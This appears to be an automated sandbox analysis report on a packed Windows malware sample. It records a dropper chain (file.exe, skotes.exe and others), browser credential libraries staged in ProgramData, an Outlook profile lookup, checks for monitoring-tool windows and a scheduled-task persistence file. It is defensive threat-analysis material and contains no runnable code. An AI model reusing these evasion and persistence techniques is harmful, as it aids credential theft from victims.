Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Section loaded: winrnr.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1772544 > 1048576

Source: file.exe

Static PE information: Raw size of qdtoojti is bigger than: 0x100000 < 0x196e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qdtoojti:EW;fteyogrp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qdtoojti:EW;fteyogrp:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Unpacked PE file: 21.2.DocumentsJEGDGIIJJE.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mqhmzwsw:EW;pyhwalqc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mqhmzwsw:EW;pyhwalqc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mqhmzwsw:EW;pyhwalqc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mqhmzwsw:EW;pyhwalqc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mqhmzwsw:EW;pyhwalqc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mqhmzwsw:EW;pyhwalqc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Unpacked PE file: 26.2.11d5b5931e.exe.960000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ajfpzkcv:EW;jiiwuvjb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ajfpzkcv:EW;jiiwuvjb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA93480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA93480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: real checksum: 0x1e9bdd should be: 0x1e14fa
Source: 661a734a92.exe.24.dr	Static PE information: real checksum: 0x1cea5d should be: 0xa776e
Source: 11d5b5931e.exe.24.dr	Static PE information: real checksum: 0x43d9af should be: 0x443fcc
Source: random[1].exe.24.dr	Static PE information: real checksum: 0x43d9af should be: 0x443fcc
Source: file.exe	Static PE information: real checksum: 0x1b63ec should be: 0x1b35fa
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1e9bdd should be: 0x1e14fa
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1e9bdd should be: 0x1e14fa
Source: random[1].exe0.24.dr	Static PE information: real checksum: 0x1cea5d should be: 0xa776e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qdtoojti
Source: file.exe	Static PE information: section name: fteyogrp
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: mqhmzwsw
Source: random[1].exe.0.dr	Static PE information: section name: pyhwalqc
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name:
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name:
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name: mqhmzwsw
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name: pyhwalqc
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: mqhmzwsw
Source: skotes.exe.21.dr	Static PE information: section name: pyhwalqc
Source: skotes.exe.21.dr	Static PE information: section name: .taggant
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: ajfpzkcv
Source: random[1].exe.24.dr	Static PE information: section name: jiiwuvjb
Source: random[1].exe.24.dr	Static PE information: section name: .taggant
Source: 11d5b5931e.exe.24.dr	Static PE information: section name:
Source: 11d5b5931e.exe.24.dr	Static PE information: section name: .rsrc
Source: 11d5b5931e.exe.24.dr	Static PE information: section name: .idata
Source: 11d5b5931e.exe.24.dr	Static PE information: section name:
Source: 11d5b5931e.exe.24.dr	Static PE information: section name: ajfpzkcv
Source: 11d5b5931e.exe.24.dr	Static PE information: section name: jiiwuvjb
Source: 11d5b5931e.exe.24.dr	Static PE information: section name: .taggant
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: wbetjsfk
Source: random[1].exe0.24.dr	Static PE information: section name: mtdlaeim
Source: random[1].exe0.24.dr	Static PE information: section name: .taggant
Source: 661a734a92.exe.24.dr	Static PE information: section name:
Source: 661a734a92.exe.24.dr	Static PE information: section name: .rsrc
Source: 661a734a92.exe.24.dr	Static PE information: section name: .idata
Source: 661a734a92.exe.24.dr	Static PE information: section name:
Source: 661a734a92.exe.24.dr	Static PE information: section name: wbetjsfk
Source: 661a734a92.exe.24.dr	Static PE information: section name: mtdlaeim
Source: 661a734a92.exe.24.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB536 push ecx; ret	0_2_6CACB549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A6D91C push ecx; ret	24_2_00A6D92F
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Code function: 26_2_00CE7EE0 push dword ptr [eax+04h]; ret	26_2_00CE7F0F

Source: file.exe	Static PE information: section name: qdtoojti entropy: 7.953391491015752
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.981183387033842
Source: random[1].exe.0.dr	Static PE information: section name: mqhmzwsw entropy: 7.9536801251414735
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name: entropy: 7.981183387033842
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name: mqhmzwsw entropy: 7.9536801251414735
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.981183387033842
Source: skotes.exe.21.dr	Static PE information: section name: mqhmzwsw entropy: 7.9536801251414735
Source: random[1].exe.24.dr	Static PE information: section name: ajfpzkcv entropy: 7.9555839598987745
Source: 11d5b5931e.exe.24.dr	Static PE information: section name: ajfpzkcv entropy: 7.9555839598987745
Source: random[1].exe0.24.dr	Static PE information: section name: entropy: 7.983122304160276
Source: random[1].exe0.24.dr	Static PE information: section name: wbetjsfk entropy: 7.920100975237436
Source: 661a734a92.exe.24.dr	Static PE information: section name: entropy: 7.983122304160276
Source: 661a734a92.exe.24.dr	Static PE information: section name: wbetjsfk entropy: 7.920100975237436

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJEGDGIIJJE.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007015001\661a734a92.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJEGDGIIJJE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJEGDGIIJJE.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJEGDGIIJJE.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsJEGDGIIJJE.exe

File created: C:\Windows\Tasks\skotes.job

